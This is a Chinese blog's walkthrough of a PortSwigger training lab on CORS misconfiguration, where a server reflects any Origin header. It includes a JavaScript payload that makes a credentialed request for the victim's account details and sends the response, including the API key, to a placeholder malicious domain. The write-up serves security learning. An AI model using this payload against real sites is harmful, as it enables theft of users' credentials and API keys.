某不知名博客 某不知名博客
首页
  • 《vulcat文档》
  • Web安全

    • 《BurpSuite及官方实验室》
    • 《OSWE学习历程》
  • 云原生安全

    • 《Docker命令大全》
    • 《CKS考试学习指南》
    • 《旧-Kubernetes教程》
漏洞库
  • 《渗透工具大全》
  • 《云安全》
事件库
关于
  • 分类
  • 标签
  • 归档
GitHub (opens new window)

Carsaid

安全界的小学生
首页
  • 《vulcat文档》
  • Web安全

    • 《BurpSuite及官方实验室》
    • 《OSWE学习历程》
  • 云原生安全

    • 《Docker命令大全》
    • 《CKS考试学习指南》
    • 《旧-Kubernetes教程》
漏洞库
  • 《渗透工具大全》
  • 《云安全》
事件库
关于
  • 分类
  • 标签
  • 归档
GitHub (opens new window)
  • 前言

  • 服务器端主题(翻译)

  • 客户端主题(翻译)

  • 高级主题(翻译)

  • 扩展阅读(翻译)

  • 个人学习笔记

  • 实验室做题记录

    • 实验室做题记录
    • 服务器端

    • 客户端

      • 跨站脚本(XSS)

      • 跨站请求伪造(CSRF)

      • 跨域资源共享(CORS)

        • 学徒-CORS漏洞-基本源反射
          • 题目
          • 实操
        • 学徒-CORS漏洞-受信任的null源
        • 从业者-CORS漏洞-受信任的不安全协议
        • 专家-CORS漏洞-内网枢纽攻击
      • 点击劫持

      • 基于DOM的漏洞

      • WebSockets

    • 高级主题

  • BurpSuite及官方实验室
  • 实验室做题记录
  • 客户端
  • 跨域资源共享(CORS)
carsaid
2023-10-07
目录
题目
实操

学徒-CORS漏洞-基本源反射

# 实验室:CORS漏洞-基本源反射

# 题目

该网站具有不安全的 CORS 配置,因为它信任所有源。

若要解决实验室问题,请编写一些 JavaScript 代码,使用 CORS 来检索管理员的 API 密钥,并将代码托管至漏洞利用服务器。当你成功提交管理员的 API 密钥时,该实验就解决了。

你可以使用以下凭据登录到自己的帐户:wiener:peter

实验室-学徒

CORS漏洞-基本源反射 >>

- name: 实验室-学徒
  desc: CORS漏洞-基本源反射 >>
  avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
  link: https://portswigger.net/web-security/cors/lab-basic-origin-reflection-attack
  bgColor: '#001350'
  textColor: '#39d50c'
1
2
3
4
5
6

# 实操

点击 “ACCESS THE LAB” 进入实验室。

Not Found Image

进入实验室,点击 “My account” 访问登录界面。

Not Found Image

使用题目中提供的用户名和密码进行登录。

Not Found Image

在账户页面中,你可以看到当前账户的 API 密钥。

Not Found Image

这个 API 密钥并不是直接放置在网页中的,而是先通过第一个请求加载出整个页面,然后再发起第二个请求,获取值并显示在页面中。

Not Found Image

将第二个请求数据包转发至 Repeater 功能模块。

添加Origin请求标头,随意指定一个值,发送请求。在响应中可以看到Access-Control-Allow-Origin响应标头,我们传递的值也在其中。

Not Found Image

指定的任何Origin值,都会由Access-Control-Allow-Origin响应标头返回。

说明客户端指定的 Origin 标头,可以动态生成服务端的 ACAO 标头。

Not Found Image

构造一个典型的 CORS 攻击载荷:

当受害者访问时,将会在他的浏览器中隐式发起请求,获取他的账户信息,并传递给恶意域。

<script>
  function reqListener() {
    window.location = 'https://<恶意域>/log?key=' + this.responseText;
  }

  var req = new XMLHttpRequest();
  req.onload = reqListener;
  req.withCredentials = true;

  req.open('GET', 'https://<受攻击的域>/accountDetails', true)

  req.send();
</script>
1
2
3
4
5
6
7
8
9
10
11
12
13

将载荷保存至漏洞利用服务器上。

Not Found Image

自己访问一遍。

Not Found Image

在日志记录中可以看到 wiener 的账户信息,说明攻击成功。

Not Found Image

看看请求过程。

第一个请求数据包,受害用户访问了恶意域的网页,执行了其中的 JavaScript。

Not Found Image

恶意 JavaScript 向受损的域发起跨域请求,受害用户的浏览器以为是用户自己发起的,所以自动填充了 Cookie。

同时由于Access-Control-Allow-Origin响应标头是动态生成的,所以受损的服务器会信任恶意域,允许其读取响应。

Not Found Image

恶意 JavaScript 读取响应信息之后,将其传递回恶意域。

Not Found Image

一切就绪,将载荷发送给受害用户。

Not Found Image

等待一会后,查看日志记录,成功捕获了受害用户的账户信息。

Not Found Image

捕获的账户信息中,包含受害用户的 API 密钥。

Not Found Image

回到实验室页面,点击上方的 “Submit solution” 打开提交框,输入受害用户的 API 密钥,然后点击 “确定”。

Not Found Image

密钥正确,实验完成。

Not Found Image
编辑 (opens new window)
从业者-CSRF-Referer验证中断
学徒-CORS漏洞-受信任的null源

← 从业者-CSRF-Referer验证中断 学徒-CORS漏洞-受信任的null源→

最近更新
01
API测试笔记
04-30
02
msfvenom
03-29
03
Metasploit
03-29
更多文章>
Theme by Vdoing | Copyright © 2023-2025 Carsaid | MIT License
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式